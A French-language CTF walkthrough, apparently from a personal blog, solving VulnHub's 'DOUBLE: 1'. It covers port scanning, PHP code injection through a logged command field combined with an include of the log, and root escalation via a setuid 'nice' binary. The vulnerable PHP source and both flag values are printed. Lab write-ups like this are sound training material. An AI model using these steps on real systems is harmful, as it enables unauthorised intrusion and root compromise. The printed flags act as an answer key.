Accueil Solution du CTF DOUBLE de VulnHub
Post
Annuler

Solution du CTF DOUBLE de VulnHub

DOUBLE: 1 est un CTF proposé par foxlox sur VulnHub.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Nmap scan report for 192.168.56.48
Host is up (0.00028s latency).
Not shown: 65531 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 deb52389bb9fd41ab50453d0b75cb03f (RSA)
|   256 160914eab9fa17e945395e3bb4fd110a (ECDSA)
|_  256 9f665e71b9125ded705a4f5a8d0d65d5 (ED25519)
25/tcp   open  smtp    Postfix smtpd
|_smtp-commands: shredder.calipendu.la, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
| ssl-cert: Subject: commonName=shredder.calipendu.la
| Subject Alternative Name: DNS:shredder.calipendu.la
| Not valid before: 2020-10-10T14:59:42
|_Not valid after:  2030-10-08T14:59:42
|_ssl-date: TLS randomness does not represent time
80/tcp   open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.38 (Debian)
8080/tcp open  http    Apache httpd 2.4.38
|_http-title: 401 Unauthorized
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=HU?
|_http-server-header: Apache/2.4.38 (Debian)

On voit que le certificat ratatché au port 25 correspond à un DNS spécifique.

Il convient peut être de rajouter une entrée dans notre fichier /etc/hosts si jamais le serveur web utilise un hôte virtuel spécifique. On peut tester cela avec cURL en passant directement le bon entête :

1
2
3
4
5
6
$ curl -H "Host: shredder.calipendu.la" http://192.168.56.48/

<center>
<h2>SSCS 0.3b - Super Secure Command Send</h2>

<a href=/production>Production</a> - <a href=http://192.168.56.48:8080/>TEST</a>

On va donc rajouter l’entrée avant d’aller plus loin :)

Quand on suit le lien Production on arrive sur un formulaire demandant une commande ainsi qu’un code.

A la soumission on est redirigé vers une page avec ce qui semble être des lignes de log où je retrouve ma commande :

2022-11-06 07:52:26-192.168.56.1 - ls

Comme la saisie de commandes bash ne semble pas avoir d’inpact je tente de passer du code PHP (<?php phpinfo(); ?>)dans le champ commande et cette fois il semble bien exécuté (extrait du phpinfo affiché) :

SERVER_SOFTWAREApache/2.4.38 (Debian)
SERVER_NAMEshredder.calipendu.la
SERVER_ADDR192.168.56.48
SERVER_PORT80
REMOTE_ADDR192.168.56.1
DOCUMENT_ROOT/var/www/html
REQUEST_SCHEMEhttp
CONTEXT_PREFIXno value
CONTEXT_DOCUMENT_ROOT/var/www/html
SERVER_ADMINwebmaster@localhost
SCRIPT_FILENAME/var/www/html/production/sendcommand.php

On réitère l’opération cette fois avec un appel à la fonction system() qui nous permettra d’uploader et exécuter un reverse-ssh.

Une fois dans la VM on peut lire le code PHP vulnérable :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Ask to admin to update config: set production=1<br><br>
<hr>
<?php
$cmd=$_POST['command'];
$controlcode=$_POST['controlcode'];
$fd=fopen("out","a");
fputs($fd,date('Y-m-d h:i:s')."-".$_SERVER['REMOTE_ADDR']." - ".$cmd."\r\n");
fclose($fd);

ini_set("display_errors",1);
$out=$_GET['out'];
echo "<pre>";
include $out;
?>

A la racine web je trouve un dossier appartenant à l’utilisateur fox mais je n’ai pas les droits nécessaires pour y accéder :

1
2
3
4
5
6
7
8
9
www-data@double:/var/www/html$ ls
total 20
drwxr-xr-x 4 root     root     4096 Nov  2  2020 .
drwxr-xr-x 3 root     root     4096 Nov  2  2020 ..
-rw-r--r-- 1 root     root      184 Nov  2  2020 index.php
drwxr-xr-x 2 www-data www-data 4096 Nov  6 19:59 production
drwxr-x--- 2 fox      nogroup  4096 Nov  2  2020 wasedrcftgvybhujnmbvtgcr
www-data@double:/var/www/html$ ls wasedrcftgvybhujnmbvtgcr
ls: cannot open directory 'wasedrcftgvybhujnmbvtgcr': Permission denied

This is nice

Je continue du fouiller. Le système ne dispose pas de sudo mais je remarque quelque chose d’anormal au niveau des finaires setuid. La commande nice ne devrait pas figurer dans cette liste. L’objectif de cet exécutable est de lancer un programme en spécifiant sa priorité d’exécution (du point de vue CPU). On peut donc l’exploiter pour lancer un shell avec euid 0 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
www-data@double:/var/www/html$ find / -type f -perm -u+s 2> /dev/null 
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/fusermount
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/umount
/usr/bin/su
/usr/bin/nice
/usr/bin/chfn
/usr/sbin/chroot
/usr/sbin/chpasswd
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
www-data@double:/var/www/html$ ls -al /usr/bin/nice
-rwsr-sr-x 1 root root 39552 Feb 28  2019 /usr/bin/nice
www-data@double:/var/www/html$ nice /bin/sh -p
# id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
# cd /root
# ls
proof.txt
# cat proof.txt 
c5315567687fe0e182bb87564ab54a7a
# cd /home/fox
# ls -al
total 24
drwxr-xr-x 2 fox  fox  4096 Dec  3  2020 .
drwxr-xr-x 4 root root 4096 Dec  3  2020 ..
lrwxrwxrwx 1 root root    9 Dec  3  2020 .bash_history -> /dev/null
-rw-r--r-- 1 fox  fox   220 Apr 18  2019 .bash_logout
-rw-r--r-- 1 fox  fox  3526 Apr 18  2019 .bashrc
-rw-r--r-- 1 fox  fox   807 Apr 18  2019 .profile
-rw------- 1 fox  fox    33 Dec  3  2020 local.txt
# cat local.txt
beef4039b5e78a23e80aa6560b93f429
Cet article est sous licence CC BY 4.0 par l'auteur.